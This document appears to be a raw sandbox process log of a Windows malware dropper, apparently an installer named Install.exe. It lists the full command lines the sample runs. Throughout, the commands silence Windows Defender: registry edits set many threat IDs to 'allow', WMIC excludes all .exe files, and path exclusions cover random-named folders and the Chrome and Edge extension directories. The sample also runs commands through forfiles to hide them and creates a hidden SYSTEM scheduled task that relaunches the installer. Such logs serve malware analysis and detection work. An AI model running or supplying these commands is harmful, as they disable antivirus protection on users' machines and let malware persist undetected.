"C:\Users\Admin\Pictures\tnqRYQUr80cAcE3KTUZ0V5tS.exe"

C:\Users\Admin\Pictures\WNtJ9ukXafWrfgqLBhjjwqQg.exe

"C:\Users\Admin\Pictures\WNtJ9ukXafWrfgqLBhjjwqQg.exe"

C:\Users\Admin\AppData\Local\Temp\7zSC4F6.tmp\Install.exe

.\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe

.\Install.exe /NQHxdidUQs "385118" /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 01:27:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe\" 1g /bOfdidRbmI 385118 /S" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"

C:\Windows\SysWOW64\cmd.exe

/C schtasks /run /I /tn bqGGCwwWIommTRgeuN

\??\c:\windows\SysWOW64\schtasks.exe

schtasks /run /I /tn bqGGCwwWIommTRgeuN

C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe 1g /bOfdidRbmI 385118 /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

